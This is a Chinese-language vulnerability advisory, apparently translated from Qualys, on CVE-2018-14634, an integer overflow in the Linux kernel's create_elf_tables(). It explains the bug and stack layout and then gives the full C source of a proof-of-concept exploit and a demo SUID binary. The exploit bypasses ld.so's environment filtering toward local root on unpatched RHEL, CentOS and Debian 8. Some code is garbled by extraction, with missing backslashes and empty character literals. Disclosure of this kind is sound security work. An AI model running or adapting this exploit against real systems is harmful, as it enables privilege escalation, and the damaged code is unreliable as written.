概述
我们在Linux内核create_elf_tables()函数中发现了一个整数溢出漏洞。因此,本地攻击者可以借助SUID-root二进制文件在64位系统上进行漏洞利用,从而获得完整Root权限。
该漏洞在Commit b6a2fea39318(2007年7月19日提交,增加可变长度参数支持)中存在,从Commit da029c11e6b1(2017年7月7日提交,将arg栈限制为_STK_LIM的75以下)版本开始修复。
后续的大多数Linux发行版本都将da029c11e6b1改动加入了内核之中,然而Red Hat Enterprise Linux、CentOS以及Debian 8(稳定版)都没有将其更新到发行版本中,因此上述系统仍然存在这一漏洞,并且是实际可以利用的。
漏洞分析
150 #define STACK_ROUND(sp, items)
151 (((unsigned long) (sp - items)) &~ 15UL)
...
165 create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec,
...
169 int argc = bprm->argc;
170 int envc = bprm->envc;
171 elf_addr_t __user *sp;
...
178 int items;
...
190 p = arch_align_stack(p);
...
287 items = (argc + 1) + (envc + 1) + 1;
288 bprm->p = STACK_ROUND(sp, items);
...
295 sp = (elf_addr_t __user *)bprm->p;
其中,参数“argc”表示传递给execve()系统调用的命令行参数的数量,该参数受限于MAX_ARG_STRINGS(位于fs/exec.c中)。参数“envc”表示传递给execve()的环境变量的数量,同样受限于MAX_ARG_STRINGS。但是,由于MAX_ARG_STRINGS是0x7FFFFFFF,因此我们可以使items(位于第287行)整数溢出,并使其为负数。
这样一来,我们就可以增加userland栈指针,而不是减少其数量(在第288行和第295行,在x86_64上),从而将userland重定向到我们的参数和环境字符串(已经复制到fs/exec.c栈顶)的中间。最终,在用户域执行SUID-root二进制文件时,就将覆盖这些字符。
漏洞利用
我们使用execve()执行一个SUID-root二进制文件,其中包含0x80000000的“items”(也就是INT_MIN “items”)。0x80000000 sizeof(char ) = 16GB参数指针、16GB参数字符串和16GB环境字符串。我们在实现漏洞利用时,实际上只需要216=32GB的内存,而不需要316或者更多。原因在于,我们使用了一些技巧,来减少其内存占用。举例来说,我们将近16GB的相等自变量指针(Equal Argument Pointer)替换为等效的文件支持的映射,几乎不会消耗任何内存。
下图展示了当SUID-root二进制文件开始执行时,ld.so中用户空间栈的结构:
| argument strings | environment strings |
--|---|--------|---------+---------|---------+---------+---------+---------|--
| A | sprand | protect | padding | protect | scratch | onebyte | padding |
--|---|--------|---------+---------|---------+---------+------^--+---------|--
| 0-8192 ~16GB 1MB rsp ~16GB
v <-------+---|----------|
| stack | B | pointers |
-------------->-------------->-------------->--------------/ 16GB
0x80000000 * sizeof(elf_addr_t) = 16GB
其中:
“A”(“alpha”)是由create_elf_tables()(位于190-287行)分配的栈空间数量,大约512字节。
“sprand”是由create_elf_tables()(位于190行)分配的随机栈空间数量,从0字节到8192字节不等。
“protect”参数字符串是重要命令行参数和选项(例如:argv[0]、SUID-rood二进制文件的文件名),这里的内容必须要防止发生内存损坏。
“padding”参数字符串占用大约16GB的栈空间。
“protect”环境字符串是重要的环境变量(例如:LD_PRELOAD环境变量,它由ld.so的handle_ld_preload()函数处理),同样需要防止内存损坏的发生。
“scratch”环境字符串是用于执行SUID-root二进制文件的1MB安全栈空间。“items”的整数溢出会将userland栈指针“rsp”重定向到我们的参数和环境字符串的中间(也就是偏移量为0x80000000 * sizeof(elf_addr_t) = 16GB的位置)。更准确的说,其实是“onebyte”环境字符串的中间位置。
“onebyte”环境字符串是256KB单字节(空)环境变量,将会被ld.so的handle_ld_preload()函数中4KB fname[]缓冲区部分覆盖。
“padding”环境字符串占用大约16GB的栈空间。
在“items”发生整数溢出以及用户空间栈指针“rsp”发生重定向之后,16GB的参数和环境指针“pointers”(即argv[] 和envp[]数组)被create_elf_tables()写入到“padding”环境字符串上。
“B”(“beta”)是在调用handle_ld_preload()之前由ld.so分配的栈空间数量,它大约为9KB,并且是在“onebyte”环境字符串的中间分配。
因此,ld.so会使用handle_ld_preload()中fname[]缓冲区,对 “onebyte”环境变量中的部分内容进行覆盖(也就是重写)。我们可以通过LD_PRELOAD环境变量来控制fname[]缓冲区中的内容。这样一来,process_envvars()中的过滤UNSECURE_ENVVARS(包括LD_AUDIT、LD_LIBRARY_PATH、LD_PRELOAD等等)就无效了。在实际漏洞利用过程中,不包含ld.so中的UNSECURE_ENVVARS过滤,留给感兴趣的读者练习。
在我们的PoC中,利用了create_elf_tables()的整数溢出,从而导致ld.so中缺少UNSECURE_ENVVARS过滤。正常情况下,LD_LIBRARY_PATH应该被ld.so从环境变量中删除,而在漏洞利用过程中却没有。PoC在这种情况下,执行SUID-root二进制文件(poc-suidbin.c)的main()。具体的演示如下:
# gcc -O0 -o poc-suidbin poc-suidbin.c
# chown root poc-suidbin
# chmod 4555 poc-suidbin
$ gcc -o poc-exploit poc-exploit.c
$ time ./poc-exploit
...
ERROR: ld.so: object 'LD_LIBRARY_PATH=.0LD_LIBRARY_PATH=.0LD_LIBRARY_PATH=.' from LD_PRELOAD cannot be preloaded:
ignored.
ERROR: ld.so: object 'LD_LIBRARY_PATH=.0LD_LIBRARY_PATH=.' from LD_PRELOAD cannot be preloaded: ignored.
ERROR: ld.so: object 'LD_LIBRARY_PATH=.' from LD_PRELOAD cannot be preloaded: ignored.
argc 2147090419
stack 0x7ffbe115008f < 0x7ffbe1150188 < 0x7fffe0e50128 < 0x7ff7e11503ea < 0x7ffbe102cdea
getenv 0x7ffbe114d83b .
0x7ffbe114d82b LD_LIBRARY_PATH=.
0x7ffbe114df60 LD_LIBRARY_PATH=.
0x7ffbe114df72 LD_LIBRARY_PATH=.
...
0x7ffbe114e69e LD_LIBRARY_PATH=.
0x7ffbe114e6b0 LD_LIBRARY_PATH=.
0x7ffbe114e6c2 LD_LIBRARY_PATH=.
real 5m38.666s
user 0m0.049s
sys 1m57.828s
PoC
/*
* poc-exploit.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <limits.h>
#include <paths.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#define MAPCOUNT_ELF_CORE_MARGIN (5)
#define DEFAULT_MAX_MAP_COUNT (USHRT_MAX - MAPCOUNT_ELF_CORE_MARGIN)
#define PAGESZ ((size_t)4096)
#define MAX_ARG_STRLEN ((size_t)128 << 10)
#define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)
#define die() do {
fprintf(stderr, "died in %s: %un", __func__, __LINE__);
exit(EXIT_FAILURE);
} while (0)
int
main(void)
{
if (sizeof(size_t) != sizeof(uint64_t)) die();
const size_t alpha = 512;
const size_t sprand = 8192;
const size_t beta = (size_t)9 << 10;
const size_t items = (size_t)1 << 31;
const size_t offset = items * sizeof(uintptr_t);
#define LLP "LD_LIBRARY_PATH=."
static char preload_env[MAX_ARG_STRLEN];
{
char * const sp = stpcpy(preload_env, "LD_PRELOAD=");
char * cp = preload_env + sizeof(preload_env);
size_t n;
for (n = 1; n <= (size_t)(cp - sp) / sizeof(LLP); n++) {
size_t i;
for (i = n; i; i--) {
*--cp = (n == 1) ? '' : (i == n) ? ':' : '0';
cp -= sizeof(LLP)-1;
memcpy(cp, LLP, sizeof(LLP)-1);
}
}
memset(sp, ':', (size_t)(cp - sp));
if (memchr(preload_env, '', sizeof(preload_env)) !=
preload_env + sizeof(preload_env)-1) die();
}
const char * const protect_envp[] = {
preload_env,
};
const size_t protect_envc = sizeof(protect_envp) / sizeof(protect_envp[0]);
size_t _protect_envsz = 0;
{
size_t i;
for (i = 0; i < protect_envc; i++) {
_protect_envsz += strlen(protect_envp[i]) + 1;
}
}
const size_t protect_envsz = _protect_envsz;
const size_t scratch_envsz = (size_t)1 << 20;
const size_t scratch_envc = scratch_envsz / MAX_ARG_STRLEN;
if (scratch_envsz % MAX_ARG_STRLEN) die();
static char scratch_env[MAX_ARG_STRLEN];
memset(scratch_env, ' ', sizeof(scratch_env)-1);
const size_t onebyte_envsz = (size_t)256 << 10;
const size_t onebyte_envc = onebyte_envsz / 1;
const size_t padding_envsz = offset + alpha;
/***/ size_t padding_env_rem = padding_envsz % MAX_ARG_STRLEN;
const size_t padding_envc = padding_envsz / MAX_ARG_STRLEN + !!padding_env_rem;
static char padding_env[MAX_ARG_STRLEN];
memset(padding_env, ' ', sizeof(padding_env)-1);
static char padding_env1[MAX_ARG_STRLEN];
if (padding_env_rem) memset(padding_env1, ' ', padding_env_rem-1);
const size_t envc = protect_envc + scratch_envc + onebyte_envc + padding_envc;
if (envc > MAX_ARG_STRINGS) die();
const size_t argc = items - (1 + 1 + envc + 1);
if (argc > MAX_ARG_STRINGS) die();
const char * const protect_argv[] = {
"./poc-suidbin",
};
const size_t protect_argc = sizeof(protect_argv) / sizeof(protect_argv[0]);
if (protect_argc >= argc) die();
size_t _protect_argsz = 0;
{
size_t i;
for (i = 0; i < protect_argc; i++) {
_protect_argsz += strlen(protect_argv[i]) + 1;
}
}
const size_t protect_argsz = _protect_argsz;
const size_t padding_argc = argc - protect_argc;
const size_t padding_argsz = (offset - beta) - (alpha + sprand / 2 +
protect_argsz + protect_envsz + scratch_envsz + onebyte_envsz / 2);
const size_t padding_arg_len = padding_argsz / padding_argc;
/***/ size_t padding_arg_rem = padding_argsz % padding_argc;
if (padding_arg_len >= MAX_ARG_STRLEN) die();
if (padding_arg_len < 1) die();
static char padding_arg[MAX_ARG_STRLEN];
memset(padding_arg, ' ', padding_arg_len-1);
static char padding_arg1[MAX_ARG_STRLEN];
memset(padding_arg1, ' ', padding_arg_len);
const char ** const envp = calloc(envc + 1, sizeof(char *));
if (!envp) die();
{
size_t envi = 0;
size_t i;
for (i = 0; i < protect_envc; i++) {
envp[envi++] = protect_envp[i];
}
for (i = 0; i < scratch_envc; i++) {
envp[envi++] = scratch_env;
}
for (i = 0; i < onebyte_envc; i++) {
envp[envi++] = "";
}
for (i = 0; i < padding_envc; i++) {
if (padding_env_rem) {
envp[envi++] = padding_env1;
padding_env_rem = 0;
} else {
envp[envi++] = padding_env;
}
}
if (envi != envc) die();
if (envp[envc] != NULL) die();
if (padding_env_rem) die();
}
const size_t filemap_size = ((padding_argc - padding_arg_rem) * sizeof(char *) / (DEFAULT_MAX_MAP_COUNT / 2) + PAGESZ-1) & ~(PAGESZ-1);
const size_t filemap_nptr = filemap_size / sizeof(char *);
char filemap_name[] = _PATH_TMP "argv.XXXXXX";
const int filemap_fd = mkstemp(filemap_name);
if (filemap_fd <= -1) die();
if (unlink(filemap_name)) die();
{
size_t i;
for (i = 0; i < filemap_nptr; i++) {
const char * const ptr = padding_arg;
if (write(filemap_fd, &ptr, sizeof(ptr)) != (ssize_t)sizeof(ptr)) die();
}
}
{
struct stat st;
if (fstat(filemap_fd, &st)) die();
if ((size_t)st.st_size != filemap_size) die();
}
const char ** const argv = mmap(NULL, (argc + 1) * sizeof(char *), PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (argv == MAP_FAILED) die();
if (protect_argc > PAGESZ / sizeof(char *)) die();
if (mmap(argv, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argv) die();
{
size_t argi = 0;
{
size_t i;
for (i = 0; i < protect_argc; i++) {
argv[argi++] = protect_argv[i];
}
}
{
size_t n = padding_argc;
while (n) {
void * const argp = &argv[argi];
if (((uintptr_t)argp & (PAGESZ-1)) == 0) {
if (padding_arg_rem || n < filemap_nptr) {
if (mmap(argp, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argp) die();
} else {
if (mmap(argp, filemap_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, filemap_fd, 0) != argp) die();
argi += filemap_nptr;
n -= filemap_nptr;
continue;
}
}
if (padding_arg_rem) {
argv[argi++] = padding_arg1;
padding_arg_rem--;
} else {
argv[argi++] = padding_arg;
}
n--;
}
}
if (argi != argc) die();
if (argv[argc] != NULL) die();
if (padding_arg_rem) die();
}
{
static const struct rlimit stack_limit = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
}
execve(argv[0], (char * const *)argv, (char * const *)envp);
die();
}
SUID-root二进制文件
/*
* poc-suidbin.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define die() do {
fprintf(stderr, "died in %s: %un", __func__, __LINE__);
exit(EXIT_FAILURE);
} while (0)
int
main(const int argc, const char * const * const argv, const char * const * const envp)
{
printf("argc %dn", argc);
char stack = '';
printf("stack %p < %p < %p < %p < %pn", &stack, argv, envp, *argv, *envp);
#define LLP "LD_LIBRARY_PATH"
const char * const llp = getenv(LLP);
printf("getenv %p %sn", llp, llp);
const char * const * env;
for (env = envp; *env; env++) {
if (!strncmp(*env, LLP, sizeof(LLP)-1)) {
printf("%p %sn", *env, *env);
}
}
exit(EXIT_SUCCESS);
}